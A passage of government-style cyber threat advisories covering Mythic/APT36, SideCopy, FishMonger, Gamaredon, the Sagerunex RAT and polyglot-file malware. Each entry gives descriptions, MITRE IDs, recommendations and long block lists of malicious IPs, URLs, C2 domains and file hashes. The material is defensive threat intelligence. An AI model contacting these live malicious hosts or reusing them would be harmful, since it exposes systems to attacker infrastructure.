* Inculcate the practice of verifying domain names and URLs before clicking on links, especially in emails.
* Regular training sessions to raise awareness about the tactics used by attackers, such as typo-squatting and spear-phishing.

**Reference**: CERT-IN [CMTX-I-213032025] & [CMTX-I-943032025]

***Note:****TA-PHI: Threat Alert Phishing Advisory*

**33.** **VA-2025-03-25-011**

**34.** **TA-APT-2025-03-25-007**

Reference is made to earlier advisories on Mythic Malware - APT 36 Campaign.

Mythic malware, an advanced, customizable Command and Control (C2) framework, primarily used by adversaries to control and manage malware operations. Malware is a free-to-use, open-source tool which provides cross-platform payload creation options (Linux, macOS, and Windows). With 'plug-n-play' functionality for its various (also open-source) agents, e.g. Apollo (Windows), Poseidon (Linux, macOS), Bloodhound etc., the malware is known for its flexibility. This allows attackers to deploy various plugins and modules tailored to specific objectives.

**Common Features of Mythic Malware:**

* Persistence
* Remote access and data theft
* Modular architecture and customizable
* Stealth techniques to avoid detection by security software

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

165.227.153.114

207.154.205.158

161.35.24.231

188.166.56.10

134.199.209.199

142.93.224.147

161.35.85.95

142.93.165.203

164.92.190.176

209.38.33.123

134.209.250.88

164.92.211.176

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendations:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.
* Verify if the file extension matches the expected document type (e.g., .docx, .pdf, etc.)

             a) For Windows- Uncheck "Hide extensions for known file types" in File Explorer's Folder Options under the View tab to display file extensions.

             b) For Linux- ELF executables typically have no extension or use unconventional extensions. (check using 'file <file\_name>' command).

* Firewall and other network solutions should be adjusted to prevent traffic from being allowed on non-conventional ports.
* Organisations should implement email protection solutions to filter out malicious emails.
* Implement Multi-Factor Authentication (MFA).
* Enforce use of strong passwords and limit user access through the principle of least privilege.
* Establish a Sender Policy Framework (SPF), Domain Message Authentication Reporting and Conformance (DMARC), and Domain Keys Identified Mail (DKIM) for your domain, which is an email validation system designed to prevent e-mail spoofing.
* Never click and execute email attachments from unknown sources.
* Users should take care when enabling macros for internal office files.
* Never run unknown files with exaggerated titles.
* Never open links shared on social media from unknown sources.

**Reference:**CERT-IN [CMTX-I-992032025], [CMTX-I-443032025] & [CMTX-I-765032025]

***Note:***TA-APT: Threat Alert - Advanced Persistent Threat

**35.** **TA-APT-2025-03-25-008**

Reference is made to earlier advisories on APT SideCopy.

APT SideCopy is known for deploying malware to target individuals and organizations. It aims to steal sensitive information and conduct espionage. This group is particularly notable for its spear-phishing campaigns and the deployment of custom malware to compromise target systems. Adversary is actively targeting government and military officials to steal sensitive information through a combination of malicious techniques and sophisticated spear-phishing campaigns, which aim to trick officials into executing infected attachments.

Adversary is also named for its technique of mimicking other well-known attack patterns to steal sensitive information and conduct espionage.

**Tactics, Techniques, and Procedures (TTPs):**

    Spear-Phishing (highly targeted and convincing phishing emails to trick victims)

    Information Theft (documents, credentials, and personal data)

    Remote Access

    Credential Harvesting

    Data Exfiltration

    Persistence Mechanisms

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP:**

176.65.139.63

**Domains:**

05hz3ssiez9m5aqco13r6n7yg.canarytokens.com

www.iimj.ac.in (legit domain but compromised)

sopos.mypressonline.com

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendations:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.
* Install update and patches regularly.
* Install and regularly update antivirus software.
* Implement Multi-Factor Authentication (MFA).
* Enforce use of strong passwords and limit user access through the principle of least privilege.
* Protect organisation’s environment using organisational firewalls, proxies, web filtering and email filtering.

**Reference**: CERT-IN [ CMTX-I-624032025 ] & [CMTX-I-590032025]

***Note:***  TA-APT: Threat Alert - Advanced Persistent Threat Advisory

**36.** **TA-APT-2025-03-25-009**

It has been observed that Operation FishMedley is a global espionage campaign attributed to the FishMonger APT group. This operation primarily targets various organizations, including governments, non-governmental organizations (NGOs), and think tanks. It involved the use of sophisticated malware tools, specifically implants such as ShadowPad, SodaMaster, and Spyder.

The attackers had privileged access to the local networks of victims. They also compromised the high-privilege accounts, such as domain administrator credentials, allowing them to deploy malware across the network.

DISTRIBUTION METHODS:

The attackers used several methods to distribute their malware, including:

* Downloading malware through compromised web servers.
* Using PowerShell commands to download malicious files.
* Employing tools like Impacket for lateral movement within networks.
* Utilizing legitimate software vulnerabilities to sideload malicious DLLs

MALWARES AND TOOLS USED:

The operation employed various malware and tools, including:

* ShadowPad: A modular backdoor that allows for extensive control over infected machines. It can be configured to perform various tasks, such as data exfiltration and command execution.
* Spyder is deployed using a loader that is downloaded from a compromised site and placed on the victim's system (e.g., C:\Users\Public\task.exe) approximately 18 hours after the initial malware, ShadowPad, is installed .
* SodaMaster: Another implant used for espionage purposes, although specific functionalities were not detailed in the document.
* FishMonger: The espionage team itself, which orchestrated the attacks against high-profile targets.
* dbxcli: A tool designed for interacting with Dropbox, potentially used for exfiltrating data. It was found in a ZIP file that was disguised as a legitimate file.
* fscan: A network scanner utilized by the attackers to identify targets within the network.
* Impacket: A collection of Python classes for working with network protocols, used for lateral movement and credential dumping.
* RPipeCommander: A tool referenced in the context of specific malware delivery, though details about its functions were not expanded.
* NetBIOS scanners (nb.exe): Used for network reconnaissance.

**MITRE ATTACK IDENTIFIERS:**

Resource Development

T1583.004

T1583.001

Execution

T1059.003

T1072

Persistence

T1543.003

Defense Evasion

T1574.002

T1140

Credential Access

T1555.003

T1556.002

T1003.001

Discovery

T1087.001

T1016

T1007

Lateral Movement

T1021.002

Command and Control

T1095

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs**:

213.59.118.124

61.238.103.165

162.33.178.23

78.141.202.70

192.46.223.211

168.100.10.136

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendations:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.
* Conduct thorough audits of network access and permissions to ensure no unauthorized access exists.
* Use multi-factor authentication for accessing sensitive systems to prevent unauthorized access.
* Maintain up-to-date software and systems to close any vulnerabilities that could be exploited.
* Utilize intrusion detection systems to monitor for unusual activity within the network.
* Encrypt sensitive data both at rest and in transit to protect against unauthorized exfiltration.
* Develop and maintain an incident response plan to quickly address any security breaches.
* Segment networks to limit lateral movement capabilities for any potential intruders.

**Reference:**CERT-IN [CMTX-P-032025155]

https://www.welivesecurity.com/en/eset-research/operation-fishmedley/

***Note:***  TA-APT: Threat Alert - Advanced Persistent Threat

**37. TA-MI-2025-03-10-002**

Based on analysis, please find below malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

120.85.92.240

45.32.249.38

147.189.202.8

102.212.40.119

223.149.182.97

102.212.41.14

69.79.197.190

178.72.81.140

85.239.245.100

102.212.41.244

201.98.30.238

129.213.54.124

120.86.254.132

103.184.194.1

103.200.86.93

120.85.117.52

175.19.247.75

27.122.61.186

139.5.11.60

196.251.88.97

77.239.217.13

120.85.114.22

103.200.86.61

178.72.71.20

222.141.153.97

119.200.13.201

193.239.147.201

113.247.109.178

45.74.36.107

103.245.236.146

117.242.253.158

104.248.99.110

27.43.206.87

120.85.113.239

123.108.206.18

103.200.86.11

102.212.40.124

183.212.238.235

189.165.223.188

5.255.115.56

77.239.219.254

77.239.216.34

119.188.169.176

103.15.254.80

112.85.78.60

27.203.190.36

180.229.15.76

220.198.241.210

152.58.98.230

91.90.42.154

139.5.11.85

77.239.215.214

103.15.254.61

223.149.200.242

175.107.1.37

120.85.91.168

178.72.88.172

36.129.80.86

103.98.36.171

186.30.92.187

103.98.38.87

117.200.89.241

112.94.96.221

117.223.30.41

122.97.138.247

103.15.254.29

27.47.2.243

62.146.183.54

27.43.207.85

114.246.34.8

171.228.230.138

183.240.211.201

91.216.99.248

113.118.5.192

80.78.24.209

46.19.141.122

178.72.70.230

102.16.10.250

117.219.30.235

62.72.46.148

193.32.162.38

103.48.66.158

77.239.220.249

112.94.96.174

120.85.114.126

177.74.2.216

177.89.118.204

45.115.89.34

58.240.235.238

23.146.184.166

**URLs:-**

http://183.240.211.137:34353/

http://45.164.177.30:10647/

http://103.199.200.26:38570/

http://123.175.112.181:42884/

http://45.230.66.32:11069/

http://193.93.228.160:35365/

http://113.26.171.243:45855/

http://117.196.175.244:44842/

http://45.230.66.38:11658/

http://46.35.179.223:50570/

http://59.88.151.47:37497/

http://103.210.101.183:47945/

http://61.3.16.88:40105/

http://122.189.146.34:52614/

http://175.11.72.142:44352/

http://42.224.171.42:42043/

http://45.230.66.55:11246/

http://117.196.248.3:53452/

http://123.130.36.128:48522/

http://122.244.54.59:50636/

http://45.230.66.9:10193/

http://219.68.208.58:37243/

http://114.84.119.127:54534/

http://223.10.5.27:55097/

http://45.164.177.143:11516/

http://222.168.225.216:50875/

http://182.127.127.7:55903/

http://175.107.36.194:43567/

http://117.209.92.149:57477/

http://222.189.167.13:59404/

http://119.115.65.221:55428/

http://123.108.206.27:39369/

http://45.230.66.33:11029/

http://192.22.160.206:55199/

http://117.244.235.239:39282/

http://117.235.126.219:57837/

http://59.89.68.224:37101/

http://124.235.200.192:58519/

http://103.207.124.178:35763/

http://27.215.176.252:34275/

http://117.209.94.75:36023/

http://45.164.177.5:11914/

http://116.2.118.160:64055/

http://117.231.159.148:43564/

http://117.248.32.152:47536/

http://117.209.1.93:34636/

http://110.231.167.135:50217/

http://5.255.115.56/

http://45.115.89.150:49342/

http://45.164.177.205:11213/

http://117.200.232.214:41899/

http://103.207.124.171:33249/

http://152.252.28.100:59693/

http://157.66.152.113:49020/

http://119.185.243.101:46836/

http://119.179.253.45:52836/

http://117.209.121.114:58722/

http://117.209.95.234:50510/

http://45.164.177.225:11207/

http://39.64.68.212:37495/

http://117.248.32.251:57846/

http://59.93.94.132:38146/

http://192.21.165.174:58757/

http://117.204.165.56:52606/

http://125.62.199.156:58556/

http://45.230.66.3:10109/

http://115.61.120.175:54102/

http://123.172.80.149:40141/

http://223.9.41.86:53602/

http://117.209.240.62:42653/

http://1.70.11.168:54848/

http://182.119.14.0:60890/

http://196.189.97.114:38141/

http://178.208.234.113:38578/

http://42.226.65.123:43081/

http://111.26.166.43:19490/spread.txt

http://103.184.195.14:41987/

http://45.164.177.240:11178/

http://175.107.1.156:42664/

http://103.184.194.116:43468/

http://36.255.18.220:42280/

http://113.26.170.176:42643/

http://218.94.193.115:54565/

http://183.155.254.191:57157/

http://59.182.68.25:45811/

http://106.57.7.103:32880/

http://117.209.11.165:54792/

http://61.3.143.220:55212/

http://182.127.198.146:40279/

http://120.61.14.185:43107/

http://103.48.66.209:34818/

http://45.164.178.69:11384/

http://39.90.129.61:49969/

http://112.193.9.56:51901/

http://45.164.177.14:10093/

http://178.94.183.151:44584/

http://112.244.192.5:33886/

http://125.45.63.171:34718/

http://112.54.138.154:38491/

http://125.40.112.73:43125/

http://117.254.34.126:37064/

http://103.48.66.138:35019/

http://27.215.87.157:60469/

http://117.82.72.104:35812/

http://175.165.87.60:47332/

http://27.156.139.125:35639/

http://117.209.89.124:56238/

http://223.154.81.57:36780/

http://103.98.38.237:35019/

http://139.5.0.102:53477/

http://101.104.228.137:35655/

http://45.164.177.114:10586/

http://39.68.241.199:54697/

http://117.244.226.136:59123/

http://142.67.224.71:56112/

http://175.183.16.79:57500/

http://77.247.88.89:38041/

http://175.165.87.225:35491/

http://59.98.207.116:42615/

http://175.107.2.101:36759/

http://59.97.182.12:60305/

http://221.15.146.19:57814/

http://45.164.177.110:11295/

http://110.182.148.247:36097/

http://117.192.232.79:35270/

http://192.21.160.248:54165/

http://103.175.180.123:38293/

http://61.3.210.56:44969/

http://123.173.70.195:45668/

http://220.170.216.100:37473/

http://45.164.177.183:11810/

http://102.33.104.192:37402/

http://106.57.1.57:45389/

http://102.39.114.38:45812/

http://117.223.31.249:34766/

http://121.224.110.244:58529/

http://179.91.89.82:59138/

http://103.207.125.152:50708/

http://125.42.255.1:60798/

http://171.37.122.75:50162/

http://125.27.139.126:33152/

http://117.209.90.23:39738/

http://219.234.162.0:59555/

http://192.21.160.235:56577/

http://217.114.43.149/

http://175.107.3.80:34068/

http://112.246.167.68:33639/

http://223.13.59.228:39133/

**\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\***

**Recommendation:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.

***Note:***TA-MI: Threat Alert Malicious IOCs

**38.  TA-APT-2025-03-10-004**

It has been observed that Gamaredon, a cyber espionage group, is primarily focused on collecting intelligence against individuals and organizations of strategic interest. Their operations are characterized by sophisticated techniques aimed at evading detection and maintaining operational security.

Aliases: BlueAlpha Gamaredon Group, Hive0051, ACTINIUM, Primitive Bear, Armageddon Group, Aqua Blizzard, WINTERFLOUNDER, UNC530, Shuckworm, UAC-0010

**Capabilities:**

* Dynamic Command and Control (C2) Infrastructure: Gamaredon frequently changes C2 IPs, utilizing DNS fast-fluxing to obscure their activities and complicate tracking efforts.
* Use of Encrypted Communication Channels: Leverage platforms like Telegram to communicate and deliver payloads, bypassing traditional network detection methods.
* Multi-Stage Attacks: Attacks often involve profiling potential victims before delivering final payloads, enhancing the chances of successful infiltration.

**MITRE ATTACK IDENTIFIERS:**

T1586 (Compromise Accounts)

T1566 (Phishing)

T1053 (Scheduled Task/Job)

T1059 (Command and Scripting Interpreter)

T1204 (User Execution)

T1547 (Boot or Logon Autostart Execution)

T1036 (Masquerading)

T1111 (Multi-Factor Authentication Interception)

**Attack Methods:** Gamaredon employs several attack methods, including:

* DNS Fast-Fluxing: This technique makes it difficult to block their IPs by rapidly changing associated addresses.
* Phishing and Spear Phishing: Customized attacks targeting specific individuals or organizations to gain initial access.
* Use of Android malware: They deploy Android spyware called BoneSpy and PlainGnome.
* Use of Messaging Platforms: Leveraging services like Telegram for command and control and payload delivery.
* They use infrastructure like Cloudflare Tunnels to avoid being detected.
* Obfuscation Tactics: They employ techniques to hide their activities, complicating detection and attribution.
* They also use custom malware like GammaDrop and LitterDrifter, which is a USB worm that spreads itself.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

134.209.220.99

164.90.184.206

165.232.157.118

170.64.239.97

188.166.35.54

188.166.52.141

46.101.200.183

134.209.202.138

159.223.163.4

104.194.134.114

104.194.134.126

104.248.20.205

138.68.98.53

139.177.187.89

142.93.237.25

143.198.187.195

144.172.113.139

146.190.119.232

146.190.228.175

147.45.177.133

152.42.236.193

152.42.251.3

157.230.219.252

157.245.144.232

159.223.225.191

159.223.47.66

159.65.140.235

159.65.227.50

164.90.159.80

164.92.159.163

165.22.204.124

165.232.141.101

165.232.167.196

167.99.67.209

170.64.150.180

170.64.225.129

172.232.226.207

172.86.76.167

178.128.120.140

178.128.122.2

178.128.199.200

194.156.102.124

2.59.163.202

209.38.87.253

45.59.120.174

46.101.106.185

64.23.131.106

**Domains:**

arrested-speakers-monica-fred.trycloudflare.com

honduras-stories-blocking-wal.trycloudflare.com

irrigation-arm-bears-assist.trycloudflare.com

memory-owen-shame-alignment.trycloudflare.com

software-consensus-corruption-vcr.trycloudflare.com

taxi-acne-deutsch-coupled.trycloudflare.com

virtue-debian-floral-new.trycloudflare.com

wit-athens-sister-database.trycloudflare.com

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendations:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.
* Implement advanced firewall rules to limit access to known malicious IPs.
* Increase security on critical accounts to prevent unauthorized access.
* Regularly test your security posture against evolving threats to identify and remediate weaknesses.
* Use advanced endpoint security solutions to detect and respond to potential threats in real time.
* Limit the use of unverified communication platforms within the organization.
* Promote ongoing awareness campaigns to keep security at the forefront of organizational culture.

**Reference**: CERT-IN [CMTX-P-032025055]

Note: TA-APT:  Threat Alert - Advanced Persistent Threat

**39. TA-MAW-2025-03-10-003**

It has been observed that Sagerunex, a Remote Access Tool (RAT) associated with the Lotus Blossom espionage group, is designed to be injected as a Dynamic Link Library (DLL) into infected systems, to control the target remotely. Sagerunex has evolved from an older tool known as "Billbug"(aka "Spring Dragon" or "Thrip"), adapting its methods and infrastructure to evade detection and enhance its capabilities. Recent investigations have identified new variants of Sagerunex that utilize third-party cloud services like Dropbox, Twitter and the Zimbra open-source webmail service as Command and Control (C2) tunnels to evade detection and also for C2 operations instead of traditional VPS setups.

**Capabilities** -  Sagerunex exhibits the following capabilities:

* Remote Control: Allows threat actors to access and control infected systems.
* Data Exfiltration: Gathers sensitive information, including hostname, MAC address, and public IP addresses, which is then encrypted and sent to C2 servers.
* Stealth Operations: Utilizes various network connection strategies and proxy configurations to avoid detection.
* Persistence Mechanisms: Installs itself within the system registry to ensure it runs as a service on infected endpoints.
* Time-based Execution: Some variants check the system time before executing their main functions, allowing them to operate during specific hours.
* Multi-variant Adaptability: Features different variants with unique configurations and operational tactics.
* Utilization of Legitimate Services: Employs common platforms like Zimbra for C2 communications, complicating detection efforts.
* Encryption of Communications: Encrypts data sent to and from the C2 server to protect the integrity of the information.

**MITRE ATTACK IDENTIFIERS:**

T1547 (Boot or Logon Autostart Execution)

T1134 (Access Token Manipulation)

T1036 (Masquerading)

T1003 (OS Credential Dumping)

T1560 (Archive Collected Data)

T1090 (Proxy)

T1572 (Protocol Tunneling)

T1041 (Exfiltration Over C2 Channel)

**Impacts -**The presence of Sagerunex within an organization can lead to significant impacts, including:

* Data Breaches: Compromise of sensitive organizational data could result in reputational damage and financial loss.
* Operational Disruption: Remote access can lead to unauthorized control over critical systems, disrupting business operations.
* Loss of Intellectual Property: Espionage activities may result in the theft of proprietary information and trade secrets.
* Increased Cybersecurity Costs: Organizations may incur substantial costs in response to breaches, including incident response and mitigation.
* Compliance Violations: Non-compliance with data protection regulations due to breaches can lead to regulatory fines and sanctions.
* Long-term Vulnerabilities: The presence of such malware may expose organizations to future attacks if not adequately addressed.

**\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\***

**Hashes:**

3fb81913c2daf36530c9ae011feebeb5bc61432969598e2dfaa52fc2ce839f20

788945d484b4e7da7adb438db52c35dd033869c5f43f027a5b6903b7b1dbbd7b

bf50ed2dd7a721e7c1b13b1eed0f21c3274808d5016310c52b1473530d78f34a

47013e731b37a80e96a3523e042c23e67bfa721d3651e735307f4a1545898b11

3d262950bf89995dce56f2c8db16938d37be5564d5e2b011ea49fe2f523f980a

79cd6380b2cf7ca1b3e3ba386ebbd7df0104e33ac74cdb5e886fd8be207bd961

f4dd0a6594d50012b6b2e3fd578e40a2aa91dae2c2454d04df5c8c9898774da6

8f309ffbaa532294da8d7896cdac3311e6a1ff82e86551453787ee78a94a679e

565fbe3f1f444f79aef375678ebbe2cd08ba55bdbee737b4ed2e6d2f7bcfcc16

f88cea311efbd3aaf896dd9527b137ad2bbd29332917b5aadd4c2693b45f893f

42b8b464147160c2f4c2722dfc222749e67384824bbbb140385271895b138c7b

ccd1f9844b00059f6e35fdff577ac93048f4d99b18162d3c56cfeb2d72b93ae4

2b59b03e9232b83b8914ed07c6426dd53d17cfb2eba01ab13d4c6cb00466a42e

240d3040559e6215a8931d9d8670c6eae2c1c42a9a74d260261fda22bcf0817d

e8f482dc47250eaedf8b839cdb4fd9ebffe59d47c7b48d61ad51d942fd35fa18

0f383b8f68f3b3c3a18ec778a1150563801b8716c7114432ff51a28fff2963b4

b1c782b4a327dadf0d8db016d7556a92bae4b697b10c9282b293e24564bbef32

5544a68a2b391c88a02f1f581ea1dde9c5cf8aeb41bb55269989528303580846

dfdd6847579ec6d9630feeda1f5bcbf009d270cd461d30781719a9c218f33d9e

fe2046e479289b1013eb394f5b3d7a49a419cb98015add3ead0fa87614fe6e38

d67774dde98db6aca8271566fac6f3d0e8e474c40604efeedd5b1276abcc8af5

e0d969b95bd91f58b775d2c9b9190a4f7c5ee8a76d63286227885e071883fdef

fa764df857ed8f0fbf606dcbb92d64f5a72b5c1dd94b3dcb9ea02ff8a02b986b

9e38f67fad7dfd806955c61e8b2d68084c4506227bc8c880cffb28d77612759c

23012d0e71e40913967a511475b55690e34afcad72ca819b82c885a0df8aea79

0fd82ff1a4b4f3c55b7faa73621ecb7d11c3cde95631de841cb304a7968804df

b830fe3d5d5462bef92991dd78869a173cb56d823e7776bfa56e09642dd880ed

776b4a7ce11d2cc9a94268c7280b652ad0d0fb33d3188cf58987e6c5c4fbb5fb

001380aa1c1850dd603f9e1315f3b9c450e6da13686a0b6ec5c05991df46ff1a

25df8f277074560cb899314cd649c6d937727c5cce5390a7187a6572dd2e4be1

1cb12045c55bf2669c3573fc79f1335355defe09af64ac2f9ca495eb5f7af528

ff5a789d0df1b28a183d7f256d3d4f649a16ae4679ef803d28cd9f7443416310

1ce0367f66a3ee2e461ccb42ae7794622aa9fb3bf9bd8926e85260ed768fb17b

54a41f888a10e454705c5b4328c13415b0ffea3708e3e101d965883761945c67

e3292e944f3deb871d9d3c2fc28a0255ad900f067f074039dde86a55dcc7b67c

176a34345bbd4eaf96e47bb60c866847de7cdaf315fe376427f4651c09f98e88

710c73d806457e576a9987be60ed8676af610b7910928f9fa57fbc58f5f45d52

**IPs:**

103.213.245.95

103.224.80.102

103.232.223.117

103.234.97.19

103.243.131.205

103.74.192.105

117.18.5.141

118.193.240.214

122.10.118.125

122.10.91.36

122.10.91.37

123.60.167.7

160.124.251.105

185.243.42.80

185.243.43.197

185.243.43.202

43.252.161.22

43.254.217.138

43.254.218.69

43.255.104.100

45.32.127.121

45.32.127.212

58.64.193.166

58.64.193.225

59.188.254.21

59.188.254.79

59.188.69.190

59.188.77.188

**Domains:**

cebucafe.net

cebucfg.org

davaotour.net

davoport.org

jf.doyourbestyet.com

ns1.poorgoddaay.com

www.acdserv.com

www.ilovekalias.com

www.sensor-data.online

www.serthk.com

zg.poorgoddaay.com

**\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\***

**Recommendations:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.
* Conduct frequent assessments to identify vulnerabilities within systems.
* Educate staff on recognizing phishing attempts and social engineering tactics.
* Implement advanced Endpoint Detection and Response (EDR) solutions to monitor and respond to suspicious activities.
* Isolate critical systems to limit the spread of malware within the network.
* Ensure all software and systems are regularly updated to protect against known vulnerabilities.
* Develop and regularly test an incident response plan to quickly address any breaches.
* Regularly back up data to enable recovery in the event of an attack.
* Limit user access to sensitive data and critical systems based on the principle of least privilege.
* Continuously monitor network traffic for unusual patterns that may indicate a breach.

**Reference:**CERT-IN [CMTX-P-032025045]

***Note:****TA-MAW: Threat Alert Malware Advisory*

**40.** **TA-MAW-2025-03-10-004**

It has been observed that Polyglot malware refers to malicious files that can be interpreted as multiple formats depending on how they are accessed. This is achieved by structuring data to exploit the unique characteristics of different file types. Such files are not common in standard software development but are powerful tools for cybercriminals. The threat group, "UNK\_CraftyCamel", targeted a few UAE organizations using a malicious ZIP file with polyglot files, delivered via a compromised Indian electronics company, to install the Sosano Go backdoor, which allows the adversaries to maintain control over compromised systems.

An example of a polyglot file used in malware campaigns is the "Emmenhtal loader," often seen in attacks delivering information stealers or RATs.

Distribution Methods - The malware was distributed through:

* Email Attachments: Malicious ZIP files were sent via email, disguised as legitimate documents.
* Obfuscated File Types: The use of polyglot files enabled the obfuscation of the actual malware payload, making detection challenging .
* Custom Lures: Each email was customized to increase the likelihood of engagement from the target .
* Compromised Entities: Utilization of compromised accounts from trusted organizations to deliver the malware.

Impacts:

* Installation of Backdoor: Installation of the Sosano backdoor provides extensive control to the attackers over the infected systems.
* Data Exfiltration Risks: Organizations can face heightened risks of data theft and espionage due to the stealthy nature of the malware.
* Operational Disruption: The campaign could disrupt operations in critical sectors, impacting national security and business continuity.
* Reputation Damage: Targeted organizations risk reputational damage due to potential data breaches and security incidents.
* Financial Loss: The remediation of breaches and associated damages could lead to significant financial losses for the affected entities.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP:**

104.238.57.61

**Domain:**

bokhoreshonline.com

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendations:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.
* Use advanced email filtering solutions to detect and block malicious attachments.
* Conduct regular network traffic analysis to identify unusual behaviors associated with malware execution.
* Limit the types of file attachments that can be received and executed on company devices.
* Establish a robust incident response plan to address potential security breaches swiftly.
* Ensure that all systems and applications are updated with the latest security patches to mitigate vulnerabilities.
* Implement endpoint detection and response solutions to monitor and respond to threats in real-time.
* Regularly check for unauthorized changes in the Windows Registry, which could indicate malware persistence techniques.

**Reference**: CERT-IN [CMTX-P-032025025]

***Note****:  TA-MAW: Threat Alert Malware Advisory*

**41. VA-2025-03-10-002**

